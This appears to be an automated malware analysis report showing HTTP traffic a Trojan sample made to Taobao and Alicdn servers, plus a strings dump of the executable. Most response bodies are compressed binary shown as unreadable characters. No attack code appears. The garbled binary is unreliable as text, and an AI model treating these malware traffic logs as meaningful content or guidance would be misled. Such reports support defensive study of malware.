Last-Modified: Sun, 07 Jun 2015 03:56:39 GMT

Expires: Sun, 07 Jun 2015 04:11:39 GMT

Via: cache29.l2de1[736,200-0,M], cache50.l2de1[737,0], cache10.de1[737,200-0,M], cache1.de1[737,0]

X-Cache: MISS TCP_REFRESH_MISS dirn:-2:-2

X-Swift-SaveTime: Sun, 07 Jun 2015 03:56:39 GMT

X-Swift-CacheTime: 900
!function(){var p,q,r,a=encodeURIComponent,b="1255080332",c="",d="",e=
"online_v3.php",f="z4.cnzz.com",g="1",h="text",i="z",j="站໳
1;统计",k=window["_CNZZDbridge_" b].bobject,l="http:",m="0
",n=l "//online.cnzz.com/online/" e,o=[];o.push("id=" b),o.push("h=" f
),o.push("on=" a(d)),o.push("s=" a(c)),n ="?" o.join("&"),"0"===m&&k.c
allRequest([l "//cnzz.mmstat.com/9.gif?abc=1"]),g&&(""!==d?k.createScr
iptIcon(n,"utf-8"):(q="z"==i?"hXXp://VVV.cnzz.com/stat/website.php?web
_id=" b:"hXXp://quanjing.cnzz.com","pic"===h?(r=l "//icon.cnzz.com/img
/" c ".gif",p="<a href='" q "' target=_blank title='" j "'><i
mg border=0 hspace=0 vspace=0 src='" r "'></a>"):p="<a hre
f='" q "' target=_blank title='" j "'>" j "</a>",k.createIcon
([p])))}();HTTP/1.1 200 OK..Server: Tengine..Content-Type: application
/javascript..Content-Length: 751..Connection: keep-alive..Date: Sun, 0
7 Jun 2015 03:56:39 GMT..Last-Modified: Sun, 07 Jun 2015 03:56:39 GMT.
.Expires: Sun, 07 Jun 2015 04:11:39 GMT..Via: cache29.l2de1[736,200-0,
M], cache50.l2de1[737,0], cache10.de1[737,200-0,M], cache1.de1[737,0].
.X-Cache: MISS TCP_REFRESH_MISS dirn:-2:-2..X-Swift-SaveTime: Sun, 07 
Jun 2015 03:56:39 GMT..X-Swift-CacheTime: 900..!function(){var p,q,r,a
=encodeURIComponent,b="1255080332",c="",d="",e="online_v3.php",f="z4.c
nzz.com",g="1",h="text",i="z",j="站长统计",k=w
indow["_CNZZDbridge_" b].bobject,l="http:",m="0",n=l "//online.cnzz.co
m/online/" e,o=[];o.push("id=" b),o.push("h=" f),o.push("on=" a(d)
>>

GET /ju/home/1.3.7/pages/2015/index.less.css HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: text/css

Content-Length: 3746

Connection: keep-alive

Date: Sun, 07 Jun 2015 03:14:25 GMT

Last-Modified: Thu, 04 Jun 2015 09:51:20 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache46.l2de1[0,304-0,H], cache21.l2de1[0,0], cache8.es1[0,200-0,H], cache1.es1[1,0]

Content-Encoding: gzip

Age: 2547

X-Cache: HIT TCP_MEM_HIT dirn:8:240612834

X-Swift-SaveTime: Sun, 07 Jun 2015 03:40:54 GMT

X-Swift-CacheTime: 3600
...........[.o.8..Wt...."E..$.....fw...w-n{.e.......&....f...z...a..I$
r8..o.....-E|...(......f..$..e......7..9........q..7.....MY.....DX.y.~
[Z..2.....]Q%uR.A$.Z....{z...K...YXn.<..p_..]..I.qWE].Ypm.t.ls.,.:.
....d..u.cBN.l.x}..S.."*.....\.A.......N.\..~.m...(cQ.....S.i.;gq._..$
........s.{Z....Rp...M.".F>.%r.N..`................"......-a..<.
kP......4'd.I..G.Osf.R..%/.X,.u..L.!.?..d`4H.xYQ...s....k.,.....%J....
M..c"!.........l.....~...v..O.F..kd..1E.l..9Y..h..?....M.ff8.E.s"P..v.
.....?.B.#.ZdiR.s.M5En.r<.......5.....&...E.sl.'s<.I.....F....].
y.....-......m..Pl..X=$5x..[m....w.........%~y.........<....`.0.t.G
.Y.....s.c.s|....\.e..RXP.Fx......hj.j.A...y..K..@>.V......._6... .
...'..[{.3....[..=...Zr.NijKP....)..eLj..e...jSg.?. .Gq.EEvU...dr...D.
........o?..........d......7..JA..Nb...h...[A.y0.........#...M.X<..
. 1'M.&..f...R..... ...-7..u.B..ve.I...O?e..?.a^Al.....,.b]{?... ..._&
gt;~..o.K.C...;......o.....}s........$P..=!5...b.....yS&a*s...R.V.....
...b....ZDi..Lp. ".Bw.=...Ti.^..i{....&1.D..... .D c..*....|e/@P.t6.._
.....K.O..z>..E....sBx.....j.#...0J...&.<.$f..dR.].sWIM..(...#..
.{._.e...1...g.....;........1..r..../z.??.GF.b.#........._.Si..Vd.....
,....J...s...0....X.T...aW.8...x...a%...I..VV..rpZw?^...Rew.l.P.......
8..Ns.]...0...U..q.p..i..(.X.PaQ....xr..F..4..`VP..|...]|.P[Y.(E ..;C.
......FHE}.n).Kf.%jpv...1.u..TZ-..\......nZ9.w._..%....... ..x;.....Pb
..Wi.=.T..z.=....UKN.VI.H..!..`..x.......XQ.......ec.[...3 (..~..}..z.
......o..?{..]..`...E.j...@..J..&J.o1.gc...d.c...X_.B........%_.HU
>>

GET /alilog/mlog/aplus_v2.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 12334

Connection: keep-alive

Date: Sun, 07 Jun 2015 03:01:44 GMT

Last-Modified: Thu, 04 Jun 2015 07:28:59 GMT

Cache-Control: max-age=7200,s-maxage=3600

Vary: Accept-Encoding

Via: cache64.l2de1[0,304-0,H], cache6.l2de1[0,0], cache5.es1[0,200-0,H], cache1.es1[0,0]

Content-Encoding: gzip

Age: 3308

X-Cache: HIT TCP_MEM_HIT dirn:3:244894802

X-Swift-SaveTime: Sun, 07 Jun 2015 03:01:47 GMT

X-Swift-CacheTime: 3600
...........}.w...._.u{.P...$mE...8.O.......(K.......?j......H#...{{WW.
4....?..g.|..j.j.^7Z/wZ.N.G.......e4..8.......d.~'....|...C/...Y0N..*.
................5zVd.Vb.Vj...5..Vh-..5.n..5.... .....;.....2....c.zf..
5.l......gq.E^.[wv...S/...:s.mo..]4o]..{{..2...).\....p7G..$~.L.......
y.e.~./....5.v.=U.d>..-.....a..a.Msm]ku[Y>.N..\#K..:a.\.m.".[.e.
Y.y->...^.b.^.M....z...^.E..E..L...q..........Y..F- *?.:9........l.
~..I.j].....[...?...h.....[......^.<.i...R{r...`..i.if..5.l.'.....R
.5{;Y.|.... .^... ..|..ye....)....X.O....7..D...4.6....?......=.S.:.#.
SJ...g.8..8.!K....a4I0n.x....y...%.....N.h...9.VF...=.o....~e.A.cK...0
?.<.Ta2.....w0.<.eEnf..h..:.[.S.{&vt.....l...7LW..hJ.%...]R.\.u.
l^..2.;Y......<;.B..q...,y..7......Nz.....a.'....u]p....4.9..?.-bB.
.\Ovs.....m....{.....&...5.6}...%._......k..OO.K...u..ov..^p...b..uc..
M..M.....h.......5s.....q.{..<..W..Ipg...........m.9......u..oc..H0
..m<K..W.R..K..v......5....Y<.....x*S...y..8......\.,f.h<....
8....D....,.[\|)..-.rE.ZQ...%.'pm...$..ikZ..............7..`.3.p.'.\..
.79..Z./..b5#5.=GrW.m..t...7..]`'X)~....n...u".....u........Ag...]....
u6q.!W..kE..\.......K...s..?.5......E....\...WL.%a..ct..FB.....\.(....
...(....6.....r..z...^......l....}.lQjGt.%\.. u...-..{[..j..15..M.0|.:
....W.EL...6!..mA....`...6..W$..).[ ...U.!.....e..`m......C.j.iQ_...}/
.i.Y|......e7...Z1M..#eI3Pc...b..(. hc.2... ....i..6(. .E.i}e?........
.X.......f.....o.j..n..Lk...........s.3.g:v... ..j....Y.M....n)..b....
._.H..l=.. .....9...5/..n...3WZ.Y........M.A.../....J,...k....\?b.
>>

GET /ju/??lazyload/1.1.7/index-min.js,julog/1.0.10/index-min.js,julogin/1.1.3/index-min.js?t=16593.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 14062

Connection: keep-alive

Date: Sun, 07 Jun 2015 02:33:09 GMT

Last-Modified: Thu, 21 May 2015 09:58:06 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache60.l2de1[0,304-0,H], cache27.l2de1[1,0], cache5.es1[0,200-0,H], cache1.es1[0,0]

Age: 5023

X-Cache: HIT TCP_MEM_HIT dirn:10:238068172

X-Swift-SaveTime: Sun, 07 Jun 2015 02:59:14 GMT

X-Swift-CacheTime: 3600
KISSY.add("jbc/lazyload/1.1.7/index",function(t,e,a,n,o,r){function i(
a,n,o){a.style.display=b,a.className="";var r=e.create("<div>");
a.parentNode.insertBefore(r,a);var i=a.value;if(t.isFunction(o)){var s
=o({type:"textarea",elem:a,value:i});s&&(i=s)}e.html(r,i,n)}function s
(e,a){var n,o;return(n=e.id)||(n=e.id=t.guid("ks-lazyload")),(o=a.ksLa
zyloadId)||(o=a.ksLazyloadId=t.guid("ks-lazyload")),n o}function c(t){
return t._ks_lazy_width?t._ks_lazy_width:t._ks_lazy_width=e.outerWidth
(t)}function l(t){return t._ks_lazy_height?t._ks_lazy_height:t._ks_laz
y_height=e.outerHeight(t)}function u(t,a,n){if(!t.offsetWidth)return!1
;var o,r=e.offset(t),i=!0,s=r.left,u=r.top,f={left:s,top:u,right:s c(t
),bottom:u l(t)};return o=d(a,f),o&&n&&(i=d(n,f)),i&&o}function d(t,e)
{var a={};return a.top=Math.max(t.top,e.top),a.bottom=Math.min(t.botto
m,e.bottom),a.left=Math.max(t.left,e.left),a.right=Math.min(t.right,e.
right),a.bottom>=a.top&&a.right>=a.left}function f(e,a){var n=th
is;if(!(n instanceof f))return new f(e,a);var o=e;t.isPlainObject(o)||
(o=a||{},e&&(o.container=e)),f.superclass.constructor.call(n,o),n._cal
lbacks={},n._containerIsNotDocument=9!=n.get("container").nodeType,n._
images=[],n._textareas=[],n._initLoadEvent()}function g(a,n,o,r){"img-
src"===n&&(n="img"),t.isArray(a)||(a=[e.get(a)]);var s=o||h p,c=o||v p
;t.each(a,function(t){var a=e.nodeName(t);"img"==n?"img"==a?z(t,s,r):e
.query("img",t).each(function(t){z(t,s,r)}):"textarea"==a?e.hasClass(t
,c)&&i(t,!0,r):e.query("textarea." c,t).each(function(t){i(t,!0,r)
>>

GET /alilog/mlog/??spm.js,spmact.js?v=141204 HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 5862

Connection: keep-alive

Date: Sun, 07 Jun 2015 03:03:17 GMT

Last-Modified: Thu, 04 Jun 2015 07:28:59 GMT

Cache-Control: max-age=7200,s-maxage=3600

Vary: Accept-Encoding

Via: cache25.l2de1[0,304-0,H], cache62.l2de1[0,0], cache5.es1[0,200-0,H], cache1.es1[0,0]

Content-Encoding: gzip

Age: 3216

X-Cache: HIT TCP_MEM_HIT dirn:1:247121685

X-Swift-SaveTime: Sun, 07 Jun 2015 03:03:18 GMT

X-Swift-CacheTime: 3600
...........[...6.. #...#.%.N.NZ.........]N.U..I...P.hdI........N..WWu.
.2E. .h...nL..n...E........A......w[."..0.mg.o.r;wv.";.,...v.....3.G.w
..}..b.B../r.ig.......J..|9.'.MC.....b(:.G.i.^..HL....p...v...g....]..
A.g....w.hKg....e5#.4...]8...k.{....f.M..E..d%-z.LF...I..:i.E.X%).....
..`U........xr...x....4..h<....x|1..O:...,..m[.x..8..w.Kw.....\....
.A\.V.c.#..8f..@.......$D..:l.u%.....4.X....~...~"...D.G..A.k...X..*1.
..a.......x.8...z..>.[6[klw..@.6...,o..F.Q2..~~. ..v....jp.,.......
j.ZZ.uB:LI3xq..../w..7d..n.o_f...`....z...x.YZ..3..L. .K..a.....Nw. \G
..6.Y.vw..2...AI1)h.%...$].u...'.....GI.&... 4.}.T7n(^.|T.k...q)Iw..d.
..........m-..,g......k..../..d......RX..<E<...,W.0...r...6..1. 
!....ug..r..3..K.BNx`...pv.q..0.-.s..gX*M..XM......9.a^.~.i...D.*.....
0. ...cf...f.Ai..O......,....u......L........P/?.,I.xH..L......J..T...
...-.R._.0..l........P....P....f.c.....>W..V..xU....VA.t.J...Gs..hd
 ...6...p7..._.....jL.....T.Bwt.\...$....F.%.K.....v5..3....v:)..?...F
.^.|..W......~..w....\5f"...v.......a....?...M....0>...K.~.._gI*.|.
O.....:.HNXV...N..t.x ;P...?..14D...R.6<_mo_.....XH..B..I..aF@...lB
6.......?C.&F.F.....n$..=..0R..[..t..8@.Z...lVvE...G..r...{.....v...Y.
...<...~ = ...8..4.......B....?$....\d...=l\.W.t...f[.z5|C.M..#.L9.
....[.$~A...aZrY.f[Ax...x.Y..... 1J....Ml.i....0..k....W5c9.....o..JO.
y..L...W?.2.z....N... JW2.` ..P...A......^@yW......ug...."...E.}...a..
Z.#].._.M.dy...2....Rz.....epC.8...-$. ...IL.p..Y...68.....zb.x../...d
..rz...yG........{..9..."v?.>x.......~h..&..0.].=.L.....%...&gt
>>

GET /??ju/home/1.3.7/pages/2015/index-min.js,kissy/k/1.3.2/template-min.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 14484

Connection: keep-alive

Date: Sun, 07 Jun 2015 03:14:37 GMT

Last-Modified: Thu, 04 Jun 2015 09:51:20 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache30.l2de1[0,304-0,H], cache23.l2de1[0,0], cache2.es1[0,200-0,H], cache1.es1[1,0]

Content-Encoding: gzip

Age: 2536

X-Cache: HIT TCP_MEM_HIT dirn:10:258287159

X-Swift-SaveTime: Sun, 07 Jun 2015 03:17:43 GMT

X-Swift-CacheTime: 3600
............_s......)h.... J.s3..!..{...... .......). ...lER..>....
>.|.}.....83...b..t7..(_%3..c...{..?...>}..?........W..:|~4..p..
yR..b......IX.y..n\I/..t...4..E.......!N._...I.../..&.,......M.$..O.z.
6K.I?.o...uV...e.U.U..>.....$.;/.e..13.J..t.LJ}]%Y2..y...,.....bA.8
X.sZ$q...q....E}I.M......a....4{r...Y^....a.).g.g...n0IXi?.&..L....F.Y
V....p..IV....8.........$.fE<....b.}...o.:..a.....n0\.%...?.....;..
^....Q...a..8...W.b....Y0.^.....,...|^|..;..o/e[../.YF...*.aXD...&z&gt
;..q..l...b.Q2.......-.._...o......n...r1..h....;@....~...5S...YZ_..?t
1O...7q....d~^_Pc......R...W.'.e$...v.U..|h....tO.F.-...7.e.9..s@..r.i
.....p.].@g)O.h.^E.a....rrul.4...7..a.....-..z...~.O...(.l.[5....v..~.
......;./.....{{..\O...$\l..Z....i..<.lz...mJ....r...#,.u.WU?(r..J.
...#...L..q.ad.='....%...%r..)S...P([IOu............F.5."...A......i2d
.....5.I.).^..'.v..cX.....v...?>:....Z..s-.A.#..d.q.... ....._..). 
...r....'......o....h........X......x..{....a..K3....M-of0...n...!n\.9
m.. 3.Xq..I..?l.d....C.....t.~.......bW\.e?.j:..x..M\......;..j.b.....
........N..y...0.............f..m......#..DO.q....B.o(.....P....%.....
mh.q..eXyP....L.kC......)...*...e..75.....P....e......U.........a.@.,V
9.m|.<...{=.[...adU.....r..b7....u|{.GQ~.I\.Y....2...'....H.=6..Q3.
L.E-..Hr....s..^......./..L......c pK.*).W......e.... ...?A4.-.n.D..&g
t;.$.#.U..D..l.x.V..'.q4....YY.ax}..e...5u.cvb...>..b........_7...A
Ty..#[5f0N.L......-DA!E<A4....A....#....LT.Bo;X...7...4W..V..'....h
.B.Y.$.Z.I.Y..d~0-jT.`0.......G...K.."..Y.J.M.......%.............
>>

GET /kg/??offline/2.0.0/index-min.js?t=16593.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 1450

Connection: keep-alive

Date: Sun, 07 Jun 2015 03:03:01 GMT

Last-Modified: Tue, 29 Jul 2014 09:15:03 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache3.l2de1[809,304-0,H], cache40.l2de1[809,0], cache6.es1[0,200-0,H], cache1.es1[1,0]

Content-Encoding: gzip

Age: 3232

X-Cache: HIT TCP_MEM_HIT dirn:8:86916462

X-Swift-SaveTime: Sun, 07 Jun 2015 03:03:01 GMT

X-Swift-CacheTime: 3600
............[o.6.... d....f.`C7y..,.`.M.%{(....#Y.,e...s..wHI...)..D..
.w.O_.."....5X.u6..<.....f..N.........?....|f\J...O. ...N....O.T.8W
i.C.iP$BEi.p...#.,A%.o[.../../....F..>...T.%.g....t.%.rw.T...$.d]r.
...nQQ.L.g..Tb..|.............o...4H3G..V.X.H......S.>@.6....G...`.
.G..r...t2&T.\....#N....\.9j..,.u..F(...A.e.0._r.....{t.C.[.J\.nD.h|-.
.. .PI.... .V.d....qo...F...cr..^0..s....^.W..#$X...*..KZ{.....N7!....
s......8./{5...~W...g...5..C...<s-.....W.o..N....C..U.....3>....
{....^9_gvs....&."o<.?.i4.........p!......ZT,89.3F.7..,t}..,J.(.8!j
.k.oX.(....:.w.M..t.G}u..5..".y.Q=>h...:...X*|...j&.c.7....../..o56
......L9...2.S..[Q~').%..A9.X.(....0.mS7..j..$.J.i.o.e.....O.{.././.QM
...C.!.BO..XC....(i.......o5.mzg>o......I.=.v..j......sh6...Ld....A
.....{.P.9~. ......=.610.^.."..W..^....Jv..'6.u......[.^s...B..d1^2...
..s.-..D..S.u....\aj......4..........[.Gh.jrbi.E.~w..}S.............{.
..t!*.....4................ma.m8.S...`.q.K............."K.0v.w5rZ. ..&
lt;..|.....P....t..'......3..Q....]..#......p.........3m...rL....i..=.
<.X....}..#..m3u..L.5...w..un......-1.k.....J3...S.m*.v.s..`j...=p.
w@V.0A....J.pP.ro0ir.k..?..D..}$S.>..i-..c.,/p..1.s&..;Y!p.d8..f.#e
U.v.......T..H..)Jd..T....9.]..9g....L.I..M&.L..1..|UHF=...3: ...Z,...
...S.E.........f.I8.p...3........l.]K...g....<..E.5I].}....>.J..
.,...~.fk.,..=d0.....M....:.n...o^.H.....~.G[...x..gf...K.Y.2:.....c.:
..9.j...2_*^..=R....r.....t.7..sA...h\'b..5...};..&..t..\O....9......i
w*.}.........2.a.......
>>

GET /ju/??jufav/1.0.29/jufav-min.css?t=16593.css HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: text/css

Content-Length: 3367

Connection: keep-alive

Date: Sun, 07 Jun 2015 02:51:54 GMT

Last-Modified: Thu, 26 Mar 2015 05:59:10 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache58.l2de1[0,304-0,H], cache34.l2de1[1,0], cache7.es1[0,200-0,H], cache1.es1[0,0]

Content-Encoding: gzip

Age: 3900

X-Cache: HIT TCP_MEM_HIT dirn:7:212072163

X-Swift-SaveTime: Sun, 07 Jun 2015 03:02:56 GMT

X-Swift-CacheTime: 3600
............k........A....Z..k.(P.z.k...^p.....h[.,.$y......_"%..7E...
."g8......._.}...8.c...'..sw:s..s.N..l...G...7.x. ..I.y...}.@K.;......
UT.i.!|..e.x,..x.............om .N..K.c...Mf_[.....c.......hV......&gt
;......Ym.T.UR'y..M......Y8]..n_._...._.2?f...i^.o..?._...D....U....DN
...].....L......v.)N."%..&.....>.n.......S`...h.O{.v.....4...I....e
L../...W.;o.Xq..M.\.Q..T.fa.j.Z..\2..^........iA>.....A...L.4H}0..&
D.r...).....;...|F.....t.P/9.J..<.l#..0..........R...EC..i.%.......
jI.:cx....V".......i_...O.$=...._NR.......h.4Q.....iL.]hM.re...l..1B..
.......5o..w.^....w=...f(I.IM.......4.0]...... .2..."........I.s.sF..t
..5.K.dGC...H..;...S....xP.....<.=..,..%'......Sg*..F......qW:..f..
|..9.C.(.. ....3#..2..x.j.<..M@Dx........\].j...k..n>'....[.89V.
- w......D.%...&..`.......>.`[}....Lcl.*..b.......M...vh._H..X..py.
....5jk...B.g....c...rb.....l_..b.....o3.S../.eGa8aF.9..l.O..C../..o..
..wq..q....N.L....4.j.=..Q..1M'...[B..x.M.&....C..Q...[......#......s.
6.hs,....].{$M.8...pS..M..|x....x.......|..&...|........o.".].x@.&.z,.
8...X.".2....H(,w.r5......{...K......z....N.#....@.=,.C4...<X M..`3
..N...v.Q..V{.."...@(q...s.......a...Mq.9.d.V.L..'.4C..(..N.m..}'..H..
t[..`.,...W."K%....V..Qt...S..iS..V..........'^......[.:M2....`...XVP.
.y.5..A].L....u.Y.PR...U..j`.... Q......_..#WO.QQ...Og..^K..`W.L..w.\g
........,..).f.Z..Z.L..f....a.&d~;./6.....Kp..i..*C..{...=...h.C.:....
<....&.[\.l_....3.....%.;...I...h....%.P.. .T.a.k!m..Y.t....?..L...
v.z..*%.o.6...i.8c......e..).o....vt...x.@ mxf....k.=...x1M*......
>>

GET /ju/??jupopup/1.0.7/box-min.css?t=16593.css HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: text/css

Content-Length: 1584

Connection: keep-alive

Date: Sun, 07 Jun 2015 03:03:00 GMT

Last-Modified: Mon, 23 Mar 2015 09:46:47 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache52.l2de1[786,304-0,H], cache42.l2de1[787,0], cache4.es1[0,200-0,H], cache1.es1[0,0]

Content-Encoding: gzip

Age: 3234

X-Cache: HIT TCP_MEM_HIT dirn:11:332060476

X-Swift-SaveTime: Sun, 07 Jun 2015 03:03:01 GMT

X-Swift-CacheTime: 3600
...........Xmo.8.. .....BH..6.....I....}....W...M....f.mL ......=...3.
...~.......5..=.......xG.v'..k.0.x....f..~'I..V.X.:.....>.|Ve.%Z.a.
..CJ.<...>o.o..Oy.E.i.^.'..5I.|..U..BR.....K...*...X4...9~.2...#
D.k...F..h?.`... ...q.E..../.X.2.......\...ba...DlY.  ......R../......
....V.....e15...3..#.M.....^........U......d.......1v........&...-...O
OOq. .7..Fs8..j.....\../. t.zANX..zj......e....,^t..].~...=.i..6..}n.o
..wS..;&...@....h.3.5)y....y....q|}...lMd...o...~....$..........#PG.5.
...........lF...& .K.*Hy9.Q.5U3c.vFK..u...|....~V....D.%D.{....f.....3
:2e...d2^L@L.Z?'.a...m..NA...,....j.../....rf.E.....P86..d.@.9....M.-.
..67>..b....2..E.k.s....1.V...B....VO......R.j.w.9..cI_.......V .'.
y......[|...].|.ROqd.....f=>>...%.d..)mE.U........uRt..=.._T@...
_.aI..$......v8.....L.W.P.....4....-.y......7.....T...w.....tA%......Q
....P.....C.bERy#'% ^..d.K..!Uc...n...OW..A...tT.F...4.)...@k4l.0..`A#
.Rv..H...5..*.?.=...,_.H..DF.%.9...1L\__.."bh.....w.V....y.....c..P.!q
...... .f[lu\e...T.pS.b.;.....6.$..@..........}d......Z..fq.Hu...I...~
.!..`...d..R.$FbtW.P..$...DO.4..".....0.X..67.....9\T.a.......v4......
...{.x..t........;.C.]...k.'.......g%.R.z.F...FoY.=.........(..,.....n
...F...:..F../~.......A..2......_.............B.;H.....rw...F;...;.G6.
..s.h.A.g.......U.w.'i>.R.....p.@..T.8.i[B~{.r...p...:./\:t..hD....
..d|..........IB]y!......1.:GQ...:.....JA.&...Td..l.......A\]}Y..Z...6
...Uq....#....G..?.....Vb..A..E.s......UG...8..Cv..)j.....p...o....].y
..U.._O.0...U....,..Il.._<.k|T......T.l...y..!zdv....w....K...Y
>>

GET /tps/i3/TB1BnawHFXXXXaNaXXXgMSN.FXX-130-50.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms03.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 3159

Connection: keep-alive

Date: Mon, 01 Jun 2015 11:38:53 GMT

Last-Modified: Thu, 23 Apr 2015 07:13:35 GMT

Expires: Thu, 29 May 2025 11:38:53 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache56.l2de1[301,200-0,M], cache61.l2de1[302,0], cache7.de1[0,200-0,H], cache10.de1[1,0]

Age: 490680

X-Cache: HIT TCP_MEM_HIT dirn:5:485893713

X-Swift-SaveTime: Mon, 01 Jun 2015 11:38:53 GMT

X-Swift-CacheTime: 315360000
.PNG........IHDR.......2.............tEXtSoftware.Adobe ImageReadyq.e&
lt;...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:48CD5C03E1AC11E4AC43DC
6CD8CA760C" xmpMM:DocumentID="xmp.did:48CD5C04E1AC11E4AC43DC6CD8CA760C
"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:48CD5C01E1AC11E4
AC43DC6CD8CA760C" stRef:documentID="xmp.did:48CD5C02E1AC11E4AC43DC6CD8
CA760C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta&
gt; <?xpacket end="r"?>........PLTE.............`.....F........}
u..........b|..........{g....8v....u........W^.......l.....7..........
....F..g^.8^................s.....{........6.....I^.....w.......G.....
...V...........T....._....................)i.)`....,.. y..v..w.....~.*
r........~.ah............................T...........}................
....Vi.t..t..t..aq.5..Hi.-..)^.......(_.)`.............)_.-...........
............5....................t........U........`........)^........
........|...........t....................lg.G...n....up.ux....}.......
....Vq............................^...............................
>>

The Trojan connects to the servers at the folowing location(s):

Map

Strings from Dumps

%original file name%.exe_396:

.text

.text

`.itext

`.itext

`.data

`.data

.idata

.idata

.didata

.didata

.rdata

.rdata

@.reloc

@.reloc

B.rsrc

B.rsrc

biClrImportant

biClrImportant

tagMSG

tagMSG

Windows

Windows

HKEY

HKEY

